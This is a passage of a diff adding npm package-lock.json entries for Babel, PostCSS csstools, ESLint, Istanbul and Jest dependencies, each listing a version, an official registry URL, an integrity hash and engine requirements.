"https://registry.npmjs.org/@babel/traverse/-/traverse-7.23.9.tgz", + "integrity": "sha512-I/4UJ9vs90OkBtY6iiiTORVMyIhJ4kAVmsKo9KFc8UOxMeUfi2hvtIBsET5u9GizXE6/GFSuKCTNfgCswuEjRg==", + "dependencies": { + "@babel/code-frame": "^7.23.5", + "@babel/generator": "^7.23.6", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.23.9", + "@babel/types": "^7.23.9", + "debug": "^4.3.1", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.23.9.tgz", + "integrity": "sha512-dQjSq/7HaSjRM43FFGnv5keM2HsxpmyV1PfaSVm0nzzjwwTmjOe6J4bC8e3+pTEIgHaHj+1ZlLThRJ2auc/w1Q==", + "dependencies": { + "@babel/helper-string-parser": "^7.23.4", + "@babel/helper-validator-identifier": "^7.22.20", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==" + }, + "node_modules/@csstools/normalize.css": { + "version": "12.1.1", + "resolved": "https://registry.npmjs.org/@csstools/normalize.css/-/normalize.css-12.1.1.tgz", + "integrity": "sha512-YAYeJ+Xqh7fUou1d1j9XHl44BmsuThiTr4iNrgCQ3J27IbhXsxXDGZ1cXv8Qvs99d4rBbLiSKy3+WZiet32PcQ==" + }, + "node_modules/@csstools/postcss-cascade-layers": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz", + "integrity": "sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==", + "dependencies": { + "@csstools/selector-specificity": "^2.0.2", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-color-function": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz", + "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-font-format-keywords": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz", + "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-hwb-function": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz", + "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-ic-unit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz", + "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-is-pseudo-class": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz", + "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==", + "dependencies": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-nested-calc": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz", + "integrity": "sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-normalize-display-values": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz", + "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-oklab-function": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz", + "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-progressive-custom-properties": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz", + "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/@csstools/postcss-stepped-value-functions": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz", + "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-text-decoration-shorthand": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz", + "integrity": "sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-trigonometric-functions": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz", + "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-unset-value": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz", + "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/selector-specificity": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.2.0.tgz", + "integrity": "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw==", + "engines": { + "node": "^14 || ^16 || >=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss-selector-parser": "^6.0.10" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz", + "integrity": "sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==", + "dependencies": { + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.10.0", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.10.0.tgz", + "integrity": "sha512-Cu96Sd2By9mCNTx2iyKOmq10v22jUVQv0lQnlGNy16oE9589yE+QADPbrMGCkA51cKZSg3Pu/aTJVTGfL/qjUA==", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz", + "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.6.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/eslintrc/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/js": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.56.0.tgz", + "integrity": "sha512-gMsVel9D7f2HLkBma9VbtzZRehRogVRfbr++f06nL2vnCGCNlzOD+/MUov/F4p8myyAHspEhVobgjpX64q5m6A==", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.11.14", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.14.tgz", + "integrity": "sha512-3T8LkOmg45BV5FICb15QQMsyUSWrQ8AygVfC7ZG32zOalnqrilm018ZVCw0eapXux8FtA33q8PSRSstjee3jSg==", + "dependencies": { + "@humanwhocodes/object-schema": "^2.0.2", + "debug": "^4.3.1", + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.2.tgz", + "integrity": "sha512-6EwiSjwWYP7pTckG6I5eyFANjPhmPjUX9JRLUSfNPC7FX7zK9gyZAfUEaECL6ALTpGX5AjnBq3C9XmVWPitNpw==" + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "dependencies": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.5.1.tgz", + "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/console/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/console/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/console/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/console/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/console/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/core": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.5.1.tgz", + "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/reporters": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-changed-files": "^27.5.1", + "jest-config": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-resolve-dependencies": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "jest-watcher": "^27.5.1", + "micromatch": "^4.0.4", + "rimraf": "^3.0.0", + "slash": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/core/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/core/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/core/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/core/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/core/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": 